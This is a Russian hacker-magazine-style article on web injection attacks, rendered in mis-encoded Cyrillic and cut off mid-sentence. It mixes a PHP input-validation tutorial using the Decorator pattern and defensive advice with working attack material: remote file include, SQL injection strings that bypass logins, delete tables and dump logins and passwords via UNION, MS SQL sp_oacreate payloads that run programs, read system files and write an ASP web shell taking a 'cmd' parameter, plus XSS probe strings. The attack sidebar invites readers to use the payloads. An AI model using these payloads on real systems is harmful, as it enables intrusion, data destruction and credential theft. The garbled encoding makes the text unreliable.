ßçûê SQL î÷åíü ãèáîê, è ïîýòîìó çäåñü íàäî áûòü
âíèìàòåëüíûì ê âõîäÿùèì äàííûì. 

÷àòû, ããîñòåâûå êêíèãè, ôôîðóìû. Â äàííîì ñëó-
÷àå íóæíî âîëíîâàòüñÿ òàêæå è î âçëîìå äðóãîãî òè-
ïà: âçëîìùèê ìîæåò ïîïûòàòüñÿ âîñïîëüçîâàòüñÿ
òýãàìè HTML, ïîýòîìó âîîáùå íåëüçÿ äîïóñêàòü
ââîäà ñèìâîëîâ «<» è «>». Èõ íàäî ëèáî ýêðàíèðî-
âàòü, ëèáî âûâîäèòü ñîîáùåíèå î íåïðàâèëüíîì
ââîäå. Íåñîáëþäåíèå ýòîãî ïðîñòîãî ïðàâèëà îò-
êðûâàåò øèðîêóþ äîðîãó çëîìó õàêåðó.

ðåøåíèå ïïðîáëåìû. Âñïîìíèì, ÷òî PHP5 ñàì
ïî ñåáå äîâîëüíî íåïëîõî ïîääåðæèâàåò îáúåêòíî-
îðèåíòèðîâàííîå ïðîãðàììèðîâàíèå.  Ýòî � áîëåå
ìîùíûé è ãèáêèé ïîäõîä, ÷åì ñàìîñòîÿòåëüíîå
íàïèñàíèå ïðîâåðîê, íà êîòîðûé ìû è îáðàòèì ñâîå
âíèìàíèå.

Èòàê, ïóñòü ìû ðåøèëè, ÷òî â ïåðâóþ î÷åðåäü
áóäåì ïðîâåðÿòü ðàçìåð ñòðîêè. Ìîæíî íàïèñàòü
ñîîòâåòñòâóþùèé êëàññ. Äàëåå íàì ïðèõîäèò â ãî-
ëîâó, ÷òî íåïëîõî áû ñäåëàòü ïðîâåðêó íà îòñóò-
ñòâèå ñëåøåé è îáðàòíûõ ñëåøåé. Ìûñëü îïûòíî-
ãî ïðîãðàììèñòà íà ýòîì íå îñòàíîâèòñÿ, � îí ïðè-
äóìàåò äðóãèå ïðîâåðêè. Êàê æå íàì èõ âñå ó÷èòû-
âàòü? Íàì âåäü áóäåò íóæíî ïðèìåíÿòü ýòè ïðîâåð-
êè â ïðîèçâîëüíîì ïîðÿäêå. 

Äëÿ íà÷àëà � îïðåäåëèìñÿ ïðåäåëüíî ÷åòêî
ñ òåì, ÷åãî íàì íóæíî äîñòè÷ü.

Â ïåðâóþ î÷åðåäü, íàì íóæíî äèíàìè÷åñêè äî-
áàâëÿòü íîâîå ïîâåäåíèå îáúåêòó, òî åñòü ðàçëè÷íî-

ãî ðîäà ïðîâåðêè. Ìîæíî, êîíå÷íî, ïðèäóìàòü ðåøå-
íèå ñàìîìó, íî ó ïðîãðàììèñòîâ åñòü ïîãîâîðêà:
«Íå íàäî èçîáðåòàòü âåëîñèïåä». Ëó÷øå âîñïîëüçî-
âàòüñÿ óæå ãîòîâûì ðåøåíèåì � øàáëîíîì ïðîåê-
òèðîâàíèÿ, êîòîðûé èñïîëüçóþò ïðîôåññèîíàëüíûå
ïðîãðàììèñòû ñ îãðîìíûì îïûòîì. Â êíèãå «Áàíäà
÷åòûðåõ» (Gang of Four, GoF) åñòü ïîäõîäÿùèé íàì
øàáëîí ïðîåêòèðîâàíèÿ � Decorator. «Decorator» ïå-
ðåâîäèòñÿ êàê «óêðàøàòåëü», òî åñòü ìû óêðàøàåì
íàøó ïðîâåðêó äëèíû ñòðîêè äîïîëíèòåëüíûìè ïðî-
âåðêàìè. Ïðèâåäó ñõåìó, ïî êîòîðîé ìû áóäåì äàëü-
øå äåéñòâîâàòü (ñìîòðè ñõåìó 1). 

Component (Checker) � ýòî ïðîñòî àáñòðàêòíûé
êëàññ ïðîâåðêè, ConcreteComponent (StringChecker) �
ýòî êëàññ äëÿ ïðîâåðêè äëèíû ñòðîêè, êîòîðûé ìû áó-
äåì äåêîðèðîâàòü äîïîëíèòåëüíûì ïîâåäåíèåì. De-
corator (Decorator) � ýòî àáñòðàêòíûé êëàññ, êîòîðûé
íóæåí äëÿ îðãàíèçàöèè öåïî÷êè äåêîðàòîðîâ. Concre-
teDecorator (SlashChecker, BackSlashChecker) � ýòî
êëàññû ñ äîïîëíèòåëüíûì ïîâåäåíèåì (â íàøåì ñëó-
÷àå ýòî ïðîâåðêè). Òåïåðü ïðèâåäó êîä (ñì. ëèñòèíã 1) 

Ýòîò êîä äîëæåí âûäàâàòü òàêîé ðåçóëüòàò:

Ïðîâåðêà ñòðîêè: 'Ñòðîêà /äëÿ/ ïðîâåðêè'

Ïðîâåðêà ñòðîêè íà îáðàòíûå ñëåøè:

Ïðîâåðêà ïðîéäåíà

Ïðîâåðêà ñòðîêè íà ñëåøè:

Ïðîâåðêà íå ïðîéäåíà

Ïðîâåðêà ðàçìåðà ñòðîêè:

Ïðîâåðêà ïðîéäåíà

Ïðîâåðêà ñòðîêè: '1365m434\'

Ïðîâåðêà ñòðîêè íà ñèìâîëû,

îòëè÷íûå îò öèôð: Ïðîâåðêà íå ïðîéäåíà
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Êîä «äëÿ ðåøåíèÿ ïðîáëåì»

<?php

abstract class Checker // êëàññ ïðîâåðêè

{

abstract public function Check($StringToCheck); // ïðîâåðêà ñòðîêè $StringToCheck

// ïåðåâîä «óñïåøíîñòè» ïðîâåðêè â ñòðîêó

// $IsOK == True - ïðîâåðêà ïðîéäåíà,

// $IsOK == False - ïðîâåðêà íå ïðîéäåíà

function Result($IsOK)

{

if ($IsOK)

return "<font color='green'>Ïðîâåðêà ïðîéäåíà</font><br>";

else

return "<font color='red'>Ïðîâåðêà íå ïðîéäåíà</font><br>";

}

} 

class StringChecker extends Checker // ïðîâåðêà ðàçìåðà äëÿ ñòðîê

{

function Check($StringToCheck)

{

echo "Ïðîâåðêà ðàçìåðà ñòðîêè: ";

echo $this->Result(strlen($StringToCheck) <= 100);

}

}

(1)

Component
+Operation()

Decorator
+Operations()

ConcreteComponent
+Operation()

Component!Operation()

Decorator::Operation();
AddedBehavior();

Ñõåìà1. Äèàãðàììà êëàññîâ ïðè èñïîëüçîâàíèè äåêîðàòîðà

ConcreteDecoratorA
-AddedState
+Operation()

ConcreteDecoratorB
+Operation()
+AddedBehavior()



Ïðîâåðêà ñòðîêè íà îáðàòíûå ñëåøè:

Ïðîâåðêà íå ïðîéäåíà

Ïðîâåðêà ðàçìåðà ñòðîêè:

Ïðîâåðêà ïðîéäåíà

Êëàññ Checker ïðåäñòàâëÿåò ñîáîé àáñòðàêòíûé
êëàññ, òî åñòü â íåì îáúÿâëåíû ñïåöèàëüíûå ôóíê-
öèè äëÿ ïðîâåðêè, íî èñïîëüçîâàòü ìû èõ íå ñìî-
æåì, òàê êàê îíè íå ðåàëèçîâàíû. Íàïðèìåð, îáúÿ-
âëåíà ôóíêöèÿ Check äëÿ ïðîâåðêè ñòðîêè. Â êëàñ-
ñå StringChecker ôóíêöèÿ Check óæå ðåàëèçîâàíà
äëÿ ïðîâåðêè ðàçìåðà ñòðîêè, à àáñòðàêòíîì êëàñ-
ñå Decorator äîáàâëåíà ïåðåìåííàÿ MyChecker äëÿ
îðãàíèçàöèè öåïî÷êè äåêîðàòîðîâ. 

Ôóíêöèÿ __construct(Checker $MyChecker) �
ýòî êîíñòðóêòîð, êîòîðûé âûçûâàåòñÿ ïðè ñîçäà-
íèè îáúåêòà êëàññà. Êîíñòðóêòîðó ïåðåäàåòñÿ
îáúåêò Checker, êîòîðûé áóäåò ñîõðàíåí äëÿ âûçî-
âà ôóíêöèè Check. Ôóíêöèÿ Check êëàññà Decora-
tor ïðîñòî âûçûâàåò $MyChecker!Check($String-
ToCheck). Â êëàññàõ äëÿ êîíêðåòíûõ ïðîâåðîê íóæ-
íî ïåðåïèñàòü ôóíêöèþ Check è íå çàáûòü â êîíöå
åå âûçâàòü parent::Check($StringToCheck) (Check
êëàññà Decorator). Ïîñìîòðèì, êàê ýòà ñèñòåìà ðà-
áîòàåò. Íåîáõîäèìî ñîçäàòü îáúåêò, êîòîðûé áóäåò
âûïîëíÿòü ïðîâåðêó (äîïóñòèì, íàì íàäî ïðîâå-
ðèòü ðàçìåð ñòðîêè, òî, ñîñòîèò ëè ýòà ñòðîêà èç îä-
íèõ öèôð è åñòü ëè â íåé ñëåøè): 

$Checker = new DigitsChecker(new

BackSlashChecker(new StringChecker()));

òåïåðü ïïðîñòî ââûçîâåì ììåòîä CCheck: 
$Checker->Check($S); // $S �

ñòðîêà äëÿ ïðîâåðêè

Ïðîñëåäèì öåïî÷êó âûçîâîâ. Îáúåêò $Checker ÿâ-
ëÿåòñÿ îáúåêòîì êëàññà DigitsChecker, ïîýòîìó
ñíà÷àëà áóäåò ïðîèçâåäåíà ïðîâåðêà íà íàëè÷èå
ñèìâîëîâ, îòëè÷íûõ îò öèôð. Íî â êîíöå ýòîãî ìå-
òîäà ñòîèò ñòðîêà, êîòîðàÿ âûçûâàåò ðîäèòåëü-
ñêèé ìåòîä Check. Ìåòîä Check êëàññà Decorator
âûçîâåò BackSlashChecker::Check, à îí, â ñâîþ
î÷åðåäü, âûçîâåò StringChecker::Check, íà ÷åì
ïðîâåðêà è çàêîí÷èòñÿ. 

äåëàåì ââûâîäû. Áåçóñëîâíî, ìîæíî áûëî áû
ïîïûòàòüñÿ ðåàëèçîâàòü òî æå ñàìîå ïðè ïîìîùè
ôóíêöèé, íî ðåøåíèå ïîëó÷èëîñü áû íå íàñòîëü-
êî ãèáêèì. À âîò ñ ïîìîùüþ êëàññîâ ìîæíî ñîç-
äàòü öåëóþ èåðàðõèþ «ïðîâåðÿëüùèêîâ», êîìáè-
íèðóÿ èõ â ïðîèçâîëüíîé ïîñëåäîâàòåëüíîñòè.
Ïðèìåíåíèå øàáëîíà ïðîåêòèðîâàíèÿ Decorator
ïîçâîëèëî ñîçäàòü äîñòàòî÷íî ãèáêóþ è íàäåæ-
íóþ ñèñòåìó ïðîâåðêè. Äëÿ ñîçäàíèÿ íîâîãî òèïà
ïðîâåðêè äîñòàòî÷íî ïðîñòî ñîçäàòü íîâûé êëàññ
îò êëàññà Decorator è ïåðåîïðåäåëèòü ìåòîä
Check. Åñëè íåîáõîäèìî, ÷òîáû ïîñëåäîâàòåëü-
íîñòü ïðîâåðîê áûëà îáðàòíîé, òî åñòü ïåðâîé âû-
ïîëíÿëàñü StringChecker::Check, íàäî ïðîñòî ïî-
ìåñòèòü âûçîâ ìåòîäà Decorator::Check($String-
ToCheck) â íà÷àëå.
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abstract class Decorator extends Checker // äåêîðàòîð äëÿ êëàññà StringChecker

{

private $MyChecker = null; // ïåðåìåííàÿ äëÿ ïîñòðîåíèÿ öåïî÷êè äåêîðàòîðîâ

// êîíñòðóêòîð çàïîìèíàåò ñëåäóþùèé äåêîðàòîð

function __construct(Checker $MyChecker)

{

$this->MyChecker = $MyChecker;

}

public function Check($StringToCheck) // âûçûâàåòñÿ ôóíêöèÿ ïðîâåðêè $MyChecker

{

if ($this->MyChecker != null)

$this->MyChecker->Check($StringToCheck);

}

}

class SlashChecker extends Decorator // ïðîâåðêè ñòðîêè íà ñëåøè

{

public function Check($StringToCheck)

{

echo "Ïðîâåðêà ñòðîêè íà ñëåøè: ";

echo $this->Result(!strstr($StringToCheck, '/'));

parent::Check($StringToCheck);

}

}

class BackSlashChecker extends Decorator // ïðîâåðêè ñòðîêè íà îáðàòíûå ñëýøè

{

public function Check($StringToCheck)

{

echo "Ïðîâåðêà ñòðîêè íà îáðàòíûå ñëåøè: ";

echo $this->Result(!strstr($StringToCheck, '\\'));

parent::Check($StringToCheck);

}

}

// ïðîâåðêà ñòðîêè íà ñèìâîëû, îòëè÷íûå îò öèôð, ò.å.ñòðîêà äîëæíà ñîäåðæàòü îäíè öèôðû

class DigitsChecker extends Decorator

{

public function Check($StringToCheck)

{

echo "Ïðîâåðêà ñòðîêè íà ñèìâîëû, îòëè÷íûå îò öèôð: ";

$IsOK = True;

for ($i = 0; $i < strlen($StringToCheck); $i++)

{

if ( ($StringToCheck{$i} < '0') || ($StringToCheck{$i} > '9') )

{

$IsOK = False;

}

}

echo $this->Result($IsOK);

parent::Check($StringToCheck);

}

}

$S1 = "Ñòðîêà /äëÿ/ ïðîâåðêè";

echo "<b>Ïðîâåðêà ñòðîêè: '$S1'</b><br>";

$Checker1 = new BackSlashChecker(new SlashChecker(new StringChecker()));

$Checker1->Check($S1);

echo "<br>";

$S2 = "1365m434\\";

echo "<b>Ïðîâåðêà ñòðîêè: '$S2'</b><br>";

$Checker2 = new DigitsChecker(new BackSlashChecker(new StringChecker()));

$Checker2->Check($S2);

?>



code iinjection. «Ýòîò âèä óÿçâèìîñòåé, ñëàâà
Áîãó, ïîòèõîíüêó îòìèðàåò è ôàêòè÷åñêè âñòðå÷à-
åòñÿ òîëüêî íà ñàìîïèñíûõ ñàéòàõ», � òàêèå ìûñëè
áðîäèëè ó ìåíÿ â ãîëîâå ïåðåä íàïèñàíèåì ñòàòüè.
«Âî-ïåðâûõ, ÷òîáû òàêóþ äûðó ñäåëàòü, íóæíî íà-
ïèñàòü ðåàëüíî êðèâîé êîä. Âî-âòîðûõ, ýòî îäèí èç
ñàìûõ ñòàðûõ è õîðîøî îïèñàííûõ âèäîâ óÿçâèìî-
ñòåé�», â îáùåì, êðàòêî êîñíåìñÿ òåìû èíúåêöèè
êîäà, è òóò æå ïåðåéäåì ê íîðìàëüíûì óÿçâèìî-

ñòÿì». Èìåííî òàê ÿ è ðàññóæäàë, ïîýòîìó çà òåêó-
ùèìè íîâîñòÿìè ïî òåìå ñõîäèë â Google ÷èñòî
äëÿ ïðîôîðìû. Êàêîâî æå áûëî ìîå óäèâëåíèå,
êîãäà ïî çàïðîñó «code injection» ÿ íàøåë èíôîðìà-
öèþ î äûðêàõ â äîâîëüíî èçâåñòíûõ ñèñòåìàõ âåäå-
íèÿ áëîãîâ è óïðàâëåíèÿ êîíòåíòîì. 

Â òåîðèè âñå âûãëÿäèò ïðîñòî: åñòü ñêðèïò,
èñïîëíÿåìûé íà ñåðâåðå, â êîòîðûé âçëîìùèêó
íåîáõîäèìî âñòðîèòü ñâîé êîä. Ïðîâåðíóòü òàêóþ
ìàõèíàöèþ äîâîëüíî ïðîñòî, åñëè ñîáëþäåíû
äâà óñëîâèÿ. Âî-ïåðâûõ, âåá-ðàçðàáîò÷èê äîëæåí
èñïîëüçîâàòü êîíñòðóêöèþ include ñ ïàðàìåòðîì
ïåðåìåííîé, à âî-âòîðûõ, äîëæåí ïëîõî ïðîâå-
ðÿòü äàííûå, ïîñòóïàþùèå îò ïîëüçîâàòåëÿ. Íà-

èáîëåå ÷àñòî òàêàÿ ñèòóàöèÿ âîçíèêàåò â ïðîñòûõ
ñêðèïòàõ:

HTML ++ PPHP
<!�- Çàãîëîâîê -->

<?php 

include ($page);

?>

<!�- Çàâåðøàþùàÿ ÷àñòü -->

Ñîîòâåòñòâåííî, ðàáîòà èäåò ñî ññûëêàìè òèïà
http://tralivali/index.php?page=about.php. Ñàìîå áåçîáèä-
íîå, ÷òî ìîæíî ñäåëàòü � ýòî ïðîñìîòðåòü èíôîð-
ìàöèþ î PHP (è íå òîëüêî):

âíóòðèìûøå÷íî
è âíóòðèâåííî
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PHP
<?php

phpinfo();

?>

Ñîçäàâ òàêîé ôàéë ó ñåáÿ íà ñåðâåðå, ïðîñòî âêëþ-
÷àåì åãî â çàïðîñ âìåñòî about.php � è âèäèì âñþ
èíôîðìàöèþ íà ýêðàíå. Òàêèì îáðàçîì, ìû âíå-
äðèëè ïðîèçâîëüíûé êîä â ñêðèïò íà ñåðâåðå è ïî-
ëó÷èëè íåîáõîäèìóþ èíôîðìàöèþ. Íî ýòî òîëüêî
öâåòî÷êè, âåäü ìîæíî ïðè ïîìîùè PHP ñäåëàòü
âñå, ÷òî íàøåé äóøå óãîäíî.

Íàïèñàâ âûøåîïèñàííûé ïðèìåð, ÿ çàäóìàë-
ñÿ î åãî íàèãðàííîñòè è çàøåë â Ãóãë. Êàêîâî æå
áûëî ìîå óäèâëåíèå, ÷òî ïî ñîîòâåòñòâóþùåìó çà-
ïðîñó 3 ñàéòà èç ïåðâîé äåñÿòêè áûëè óÿçâèìû.
Âîèñòèíó � äåíü îòêðûòèé ;).

SQL Injection. Ïðèñòóïèì êî âòîðîìó áëþäó �
âìåñòî áîðùà ó íàñ èíúåêöèÿ SQL. Äàâíûì-äàâíî,
êîãäà ïî çåìëå åùå õîäèëè äèíîçàâðû, âåá-ïðî-
ãðàììåðû èñïîëüçîâàëè äëÿ õðàíåíèÿ äàííûõ òåê-
ñòîâûå ôàéëû. Ïîòîì, êîãäà ÷åëîâåê èçîáðåë êîëå-
ñî, âåá-ðàçðàáîò÷èêè ïðèäóìàëè áàçû äàííûõ
è ñòàëè õðàíèòü âñå â íèõ. È áûëî âñåì ñ÷àñòüå �

è cïèñîê ïîëüçîâàòåëåé òóäà çàñóíóòü ìîæíî, è âñå
äîêóìåíòû íà ñàéòå ïîëîæèòü. Íî îäíàæäû îäèí
óìåëåö ñëó÷àéíî ââåë â ôîðìó àïîñòðîô, è âûäàë
ñêðèïò SQL-îøèáêó. Ïðî÷èòàë óìåëåö ñîîáùåíèå,
ïîäóìàë íåìíîãî è ââåë âìåñòî àïîñòðîôà ' OR
'1'='1�, åùå íåìíîãî ïîêîëäîâàë è ñòàë ñ òåõ ïîð àä-
ìèíèñòðàòîðîì. Íà òîì è ñàéòó êîíåö, à êòî ïî-
íÿë � ìîëîäåö. À êòî íå ïîíÿë � äëÿ òåõ ïîÿñíþ ;).

Ðàáîòà ñ áàçîé âåäåòñÿ íà ÿçûêå SQL, íàïðè-
ìåð, ÷òîáû ïðîâåðèòü, ÷òî ïîëüçîâàòåëü ñóùåñòâó-
åò, ìîæíî ñäåëàòü òàêîé çàïðîñ ïî ëîãèíó:

SQL
SELECT * FROM users WHERE username=

'$username'

À òåïåðü ïîäñòàâü â çàïðîñ àïîñòðîô èëè ' OR '1'='1�
è ïîñìîòðè, ÷òî ïîëó÷èòñÿ. Ôàêòè÷åñêè, ìû ìîæåì
âûïîëíèòü ïðîèçâîëüíûé SQL-çàïðîñ, è ñëó÷èòüñÿ
÷òî-íèáóäü íåõîðîøåå:

SQL
'; DELETE FROM customers WHERE 1

or username = '

Õî÷ó êèíóòü åùå ïàðó õîðîøèõ èäåé, êàê ìîæíî âîñ-
ïîëüçîâàòüñÿ SQL-èíúåêöèåé. Äëÿ ýòîãî ìû ðàññìî-
òðèì äåòàëè äèàëåêòîâ ÿçûêà SQL ó ðàçíûõ ïðîèçâî-
äèòåëåé. Íà÷íåì ñ MySQL, êîòîðûé äåëàåò òî, ÷òî ÿ
îò íåãî íèêàê íå îæèäàë ;). À ïðîáëåìà ïðîñòà: åñëè
SELECT-çàïðîñ ïîäâåðæåí èíúåêöèè, òî íå ôàêò, ÷òî
åãî ðåçóëüòàò áóäåò âûâåäåí íà ýêðàí, íî åñëè âíè-
ìàòåëüíî ïî÷èòàòü ðóêîâîäñòâî ïî MySQL, òî ìîæíî
íàéòè çàìå÷àòåëüíûé ôóíêöèîíàë � ðåçóëüòàò çà-
ïðîñà ìîæíî ïåðåíàïðàâèòü â ôàéë!

SQL
SELECT <ïîëÿ> FROM <òàáëèöà>

INTO OUTFILE '<ôàéë>';

Òåïåðü îñòàëîñü íàéòè êàòàëîã, êîòîðûé íàñ ïðèþòèò.
Â ñëó÷àå ñ CMS âñå ðåøàåòñÿ äîâîëüíî ïðîñòî � ïî÷-
òè âñåãäà åñòü êàòàëîã äëÿ çàãðóçêè ôàéëîâ upload.
Èìåííî â òàêîé êàòàëîã è ñòîèò ïåðåíàïðàâëÿòü âûâîä. 

Íà÷èíàÿ ñ ÷åòâåðòîé âåðñèè, MySQL ïîääåð-
æèâàåò îáúåäèíåíèå çàïðîñîâ ïðè ïîìîùè êîìàí-
äû UNION. Òàêèì îáðàçîì, ìîæíî âûâåñòè äîïîë-
íèòåëüíóþ èíôîðìàöèþ èç ïðîèçâîëüíîé òàáëèöû.
Ïîñìîòðèì, êàê ýòî âûãëÿäèò íà ïðèìåðå:

SQL
SELECT title, description FROM articles

WHERE id=�$id�;

Title è description èìåþò òèï varchar, ïîýòîìó ïåðå-
ìåííîé $id íóæíî ïðèñâîèòü òàêîå çíà÷åíèå, ÷òîáû
ïðè ïîäñòàíîâêå ïîëó÷èëñÿ ñëåäóþùèé çàïðîñ:

SQL
SELECT title, description FROM articles

WHERE id=�123123�
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Çàïóñêàåì áëîêíîò

declare @o int 

exec sp_oacreate 'wscript.shell', @o out 

exec sp_oamethod @o, 'run', NULL, 'notepad.exe' 

[Ñìîòðèì ôàéë boot.ini]

declare @o int, @f int, @t int, @ret int 

declare @line varchar(8000) 

exec sp_oacreate 'scripting.filesystemobject', @o out 

exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1 

exec @ret = sp_oamethod @f, 'readline', @line out 

while( @ret = 0 ) 

begin 

print @line 

exec @ret = sp_oamethod @f, 'readline', @line out 

end 

Ïîëó÷àåì shell

declare @o int, @f int, @t int, @ret int 

exec sp_oacreate 'scripting.filesystemobject', @o out 

exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1 

exec @ret = sp_oamethod @f, 'writeline', NULL, 

'<% set o = server.createobject("wscript.shell"): o.run(

request.querystring("cmd") ) %>' 

[Ñåðâåð ãîâîðèò, ÷òî îí çàõâà÷åí]

declare @o int, @ret int 

exec sp_oacreate 'speech.voicetext', @o out 

exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' 

exec sp_oasetproperty @o, 'speed', 150 

exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528 

waitfor delay '00:00:05' 

(1)

SQL-êîä
âçëîìùèêà

Çàïðîñ
ê áàçå äàííûõ

Ïëîõàÿ ôèëüòðàöèÿ 
ââîäà íà SQL-îïåðàòîðû

Ñõåìà SQL-èíúåêöèè

JavaScript
âçëîìùèêà

Ñòðàíèöà,
êîòîðàÿ áóäåò 
ïîêàçàíà ïîëüçîâàòåëþ

Ïëîõàÿ ôèëüòðàöèÿ
JavaScript

Ñõåìà ìåæñàéòîâîãî ñêðèïòèíãà



UNION

SELECT login, password FROM users;

/*

�;

Îáðàòè âíèìàíèå, êàê ÿ èñïîëüçîâàë êîììåíòà-
ðèé, � ïðè Union-èíúåêöèÿõ ýòî ñòàíäàðòíàÿ ïðàê-
òèêà îòñå÷åíèÿ íåíóæíîé ÷àñòè ñòðîêè.

MS SQL Server � âîîáùå øòóêà âåñåëàÿ.
Ïðè ïîìîùè SQL íà íåì ìîæíî äàæå çàïóñêàòü
ïðèëîæåíèÿ. Êîíêðåòíûå ïðèìåðû èíúåêöèé ñìî-
òðè íà âðåçêå è ïîëüçóéñÿ íà çäîðîâüå ;).

ïîèñê óóÿçâèìîñòåé òòèïà ccode iinjection ((èñòî÷-
íèê: ««Ten SSecurity CChecks ffor PPHP»). Ñòàðàéñÿ íå èñ-
ïîëüçîâàòü ïåðåìåííûå â êà÷åñòâå ïàðàìåòðîâ ó
ôóíêöèé readfile, fopen, file, include, require. Åñëè ïî-
äîáíûé ôóíêöèîíàë âñå-òàêè íåîáõîäèì, òî ìîæíî
ïîïðîáîâàòü çàìåíèòü ïåðåìåííûå êîíñòàíòàìè.
Ïðè èñïîëüçîâàíèè ïåðåìåííûõ ñëåäóåò îãðàíè-
÷èòü ôàéëû, êîòîðûå ìîãóò áûòü èñïîëüçîâàíû, çà-
ðàíåå îïðåäåëåííûì ñïèñêîì:

PHP
$valid_file = array(

"index.php"   => "",

"funct.php"   => "",

"common.php"  => "");

if (!isset($valid_files[$page])) {

die("Äàííûé ôàéë íåëüçÿ

èñïîëüçîâàòü");

}

Åñëè íàì äåéñòâèòåëüíî íåîáõîäèìî èñïîëüçî-
âàòü ôàéë, èìÿ êîòîðîãî îïðåäåëÿåòñÿ äèíàìè÷å-
ñêè, òîãäà ñòîèò ïðîâåðÿòü åãî ñîîòâåòñòâóþùèì
ðåãóëÿðíûì âûðàæåíèåì:

PHP
if ( !(eregi("^[a-z_./]*$", $page) &&

!eregi("\\.\\.", $page)) ) {

die("Äàííûé ôàéë

íåëüçÿ èñïîëüçîâàòü");

}

Â ëþáîì ñëó÷àå áóäåò òàêæå ïîëåçíî íàñòðîèòü îï-
öèè allow_url_fopen è open_basedir â ôàéëå php.ini.

XSS. ß ñëåæó çà íîâîñòíûìè ðàññûëêàìè î äû-
ðàõ â áåçîïàñíîñòè îäíîé CMS. 99% óÿçâèìîñòåé â
ìîäóëÿõ ýòîé ñèñòåìû � XSS. Ýòèì-òî è îïàñåí äàí-
íûé âèä èíúåêöèé � îò íåãî ÷ðåçâû÷àéíî òðóäíî çà-

ùèòèòüñÿ, è XSS ïîðîé ïîäâåðæåíû äàæå ïîïóëÿð-
íûå äâèæêè è êðóïíûå ñàéòû (à-ëÿ MySpace).

Â íàøå âðåìÿ íà áîëüøèíñòâå ñàéòîâ ïîëüçî-
âàòåëè èìåþò âîçìîæíîñòü ñîçäàâàòü ñâîè ìàòå-
ðèàëû è êîììåíòèðîâàòü ÷óæèå. Äëÿ êðàñèâîãî
îôîðìëåíèÿ ïîëüçîâàòåëþ äàåòñÿ âîçìîæíîñòü
ââîäèòü äàííûå â ôîðìàòå HTML. Ââîä HTML-êîäà
ìîæåò áûòü ðàçðåøåí íàïðÿìóþ, ëèáî ïðè ïîìîùè
WYSIWYG-ðåäàêòîðà. Êàçàëîñü áû, âñå äîâîëüíû!
Îñîáåííî âçëîìùèêè ;). Åñòü õîðîøàÿ ïîñëîâèöà:
«Ãäå HTML, òàì è JavaScript». Òàêèì îáðàçîì,
ïðè ââîäå ìîæíî èñïîëüçîâàòü òåã <script> äëÿ èñ-
ïîëíåíèÿ ïðîèçâîëüíîãî JavaScript (è íå òîëüêî
åãî, êñòàòè). À åñëè ìû ìîæåì èñïîëüçîâàòü ñêðèï-
òû, êîòîðûå èñïîëíÿþòñÿ íà ñòîðîíå ïîëüçîâàòåëÿ,
çíà÷èò, ìû ìîæåì óêðàñòü åãî êóêè! À òóò óæå è äî
âçëîìà àêêàóíòà íåäàëåêî�

ôðàãìåíòèðîâàííûå XXSS-ààòàêè. ×àñòî áûâà-
åò òàê, ÷òî èíôîðìàöèÿ, ââîäèìàÿ ïîëüçîâàòåëåì,
õîðîøî ôèëüòðóåòñÿ, è ê ôîðìå íà êðèâîé êîçå
íå ïîäñòóïèøüñÿ. Íî åñëè â íåé íåñêîëüêî ïîëåé,
íàïðèìåð, «íàçâàíèå ìàòåðèàëîâ» è «ñîäåðæàíèå
ìàòåðèàëîâ», òî ìîæíî ïîïðîáîâàòü áîëåå ñëîæ-
íûé âèä àòàêè � ôðàãìåíòèðîâàííûé. Ïðè òàêîì
ïîäõîäå, íåîáõîäèìî, ÷òîáû äàííûå èç ðàçíûõ ïî-
ëåé ôîðìû âûâîäèëèñü ïîñëåäîâàòåëüíî, è òîãäà
ïîÿâëÿåòñÿ âåðîÿòíîñòü òîãî, ÷òî âìåñòå «áåçîáèä-
íûå ñòðî÷êè» ñòàíóò ãðîçíûì îðóæèåì.

àóäèò XXSS-óóÿçâèìîñòåé ((èñòî÷íèê: ««HTML
Code IInjection aand CCross-ssite sscripting»). Ïðîâåðêà
ôîðì íà èñïîëíåíèå ñêðèïòà. Îòêðûâàåì HTML-
ñòðàíèöó äëÿ àóäèòà è â êàæäîå ïîëå ïîî÷åðåäíî
ââîäèì ñëåäóþùåå:

<script>alert('CSS

Vulnerable')</script> 

<img csstest=javascript:alert('CSS

Vulnerable')> 

&{alert('CSS Vulnerable')};

Äàëüøå æìåì êíîïêó «Îòïðàâèòü», è åñëè â ðåçóëü-
òàòå âûñêàêèâàåò ñîîáùåíèå èëè ïîÿâëÿþòñÿ
îøèáêè íà ñòðàíè÷êå, òî ôîðìà óÿçâèìà. 

Ïðîâåðêà GET-çàïðîñîâ íà èñïîëíåíèÿ ñêðèïòà. Òå-
ïåðü òî æå ñàìîå äåëàåì ññûëêàìè âèäà «?var=qwer-
ty» (àíàëîãè÷íûì îáðàçîì ïðîâåðèì è êóêè).

HTML-èíúåêöèÿ. Âî âñå ýëåìåíòû ââîäà ïðîáó-
åì âñòàâèòü '';!--"<CSS_Check>=&{()}. Ñòðîêà íà÷è-
íàåòñÿ ñ äâóõ àïîñòðîôîâ è çàêàí÷èâàåòñÿ ôèãóð-
íîé ñêîáêîé. Íà ñëåäóþùåé ñòðàíèöå èùåì
«<CS_Check>» (áåç êàâû÷åê), � åñëè íàøëè, òî
ñòðàíèöà óÿçâèìà. Òàêæå îñòàåòñÿ âîçìîæíîñòü
âçëîìà, åñëè ÷àñòü ñèìâîëîâ íå çàýêðàíèðîâàëàñü.

ñðàâíåíèå èè ààíàëèç. Ó âñåõ îïèñàííûõ âûøå
àòàê ìíîãî îáùåãî. Êàê ïðàâèëî, îíè ïðîèçâîäÿòñÿ
íà õîðîøî çàùèùåííûé è íàñòðîåííûé ñåðâåð.
Òî åñòü ïî ÷àñòè àäìèíèñòðèðîâàíèÿ âîïðîñîâ
íå âîçíèêàåò, ïîýòîìó ïðèõîäèòñÿ èñêàòü ïðîáåëû
â ðàáîòå ïðîãðàììèñòîâ. Ñàìîé îïàñíîé, íà ìîé
âçãëÿä, äûðîé ÿâëÿåòñÿ âîçìîæíîñòü âûïîëíèòü
ïðîèçâîëüíûé PHP-êîä íà ñòîðîíå ñåðâåðà, ïîñëå
÷åãî ìîæíî ïîëó÷èòü äîñòóï ê áàçàì äàííûõ è âû-
ïîëíèòü JavaScript. 

Ïî ðàñïðîñòðàíåííîñòè ñåé÷àñ ëèäèðóþò
XSS-àòàêè, ÷óòü îòñòàëè SQL-èíúåêöèè. Ïîÿñíþ �
ïèê èñïîëüçîâàíèÿ SQL-èíúåêöèé ïðîøåë íåêîòî-
